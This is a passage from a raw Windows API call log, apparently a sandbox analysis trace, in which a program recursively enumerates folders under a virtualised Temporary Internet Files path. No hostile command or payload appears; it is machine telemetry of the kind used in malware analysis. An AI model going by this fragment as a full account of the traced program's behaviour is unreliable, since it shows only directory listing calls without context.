nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 0 [0085.343] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x223c318 [0085.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179198 | out: hHeap=0x5b0000) returned 1 [0085.343] FindClose (in: hFindFile=0x6006d0 | out: hFindFile=0x6006d0) returned 1 [0085.343] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*", fInfoLevelId=0x0, lpFindFileData=0x18d51c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d51c) returned 0x6006d0 [0085.343] FindNextFileW (in: hFindFile=0x6006d0, lpFindFileData=0x18d51c | out: lpFindFileData=0x18d51c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.343] FindNextFileW (in: hFindFile=0x6006d0, lpFindFileData=0x18d51c | out: lpFindFileData=0x18d51c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0085.343] FindNextFileW (in: hFindFile=0x6006d0, lpFindFileData=0x18d51c | out: lpFindFileData=0x18d51c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 0 [0085.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c318 | out: hHeap=0x5b0000) returned 1 [0085.343] FindClose (in: hFindFile=0x6006d0 | out: hFindFile=0x6006d0) returned 1 [0085.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c1c0 | out: hHeap=0x5b0000) returned 1 [0085.344] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0085.344] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x3177780 [0085.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178fb0 | out: hHeap=0x5b0000) returned 1 [0085.344] FindClose (in: hFindFile=0x600690 | out: hFindFile=0x600690) returned 1 [0085.346] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0085.346] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.347] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0085.347] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0085.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177780 | out: hHeap=0x5b0000) returned 1 [0085.347] FindClose (in: hFindFile=0x600690 | out: hFindFile=0x600690) returned 1 [0085.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177260 | out: hHeap=0x5b0000) returned 1 [0085.348] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0085.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6695f8 [0085.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178de0 | out: hHeap=0x5b0000) returned 1 [0085.348] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0085.348] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0085.349] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.349] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0085.349] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0085.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6695f8 | out: hHeap=0x5b0000) returned 1 [0085.349] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0085.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.349] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0085.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x3178aa0 [0085.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0085.349] FindClose (in: hFindFile=0x600610 | out: hFindFile=0x600610) returned 1 [0085.350] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0085.350] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.350] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0085.350] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0085.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.350] FindClose (in: hFindFile=0x600610 | out: hFindFile=0x600610) returned 1 [0085.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68be68 | out: hHeap=0x5b0000) returned 1 [0085.350] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0085.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x68be68 [0085.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd50 | out: hHeap=0x5b0000) returned 1 [0085.350] FindClose (in: hFindFile=0x6005d0 | out: hFindFile=0x6005d0) returned 1 [0085.351] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0085.351] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.351] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0085.351] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0085.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68be68 | out: hHeap=0x5b0000) returned 1 [0085.351] FindClose (in: hFindFile=0x6005d0 | out: hFindFile=0x6005d0) returned 1 [0085.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a2e0 | out: hHeap=0x5b0000) returned 1 [0085.351] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0085.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317ffd0 [0085.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c068 | out: hHeap=0x5b0000) returned 1 [0085.351] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0085.353] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0085.353] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.354] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0085.354] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0085.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317ffd0 | out: hHeap=0x5b0000) returned 1 [0085.354] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0085.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0085.355] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0085.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8350 [0085.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0085.355] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0085.355] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0085.355] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.355] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0085.355] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0085.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8350 | out: hHeap=0x5b0000) returned 1 [0085.355] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0085.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8428 | out: hHeap=0x5b0000) returned 1 [0085.356] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 0 [0085.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8428 [0085.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0085.356] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0085.357] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0085.357] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.358] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1 [0085.358] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 0 [0085.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8428 | out: hHeap=0x5b0000) returned 1 [0085.358] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0085.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d85d8 | out: hHeap=0x5b0000) returned 1 [0085.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0 [0085.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aad70 [0085.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68be68 [0085.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aad70 | out: hHeap=0x5b0000) returned 1 [0085.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bc38 | out: hHeap=0x5b0000) returned 1 [0085.359] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0085.359] FindFirstFileExW (in: 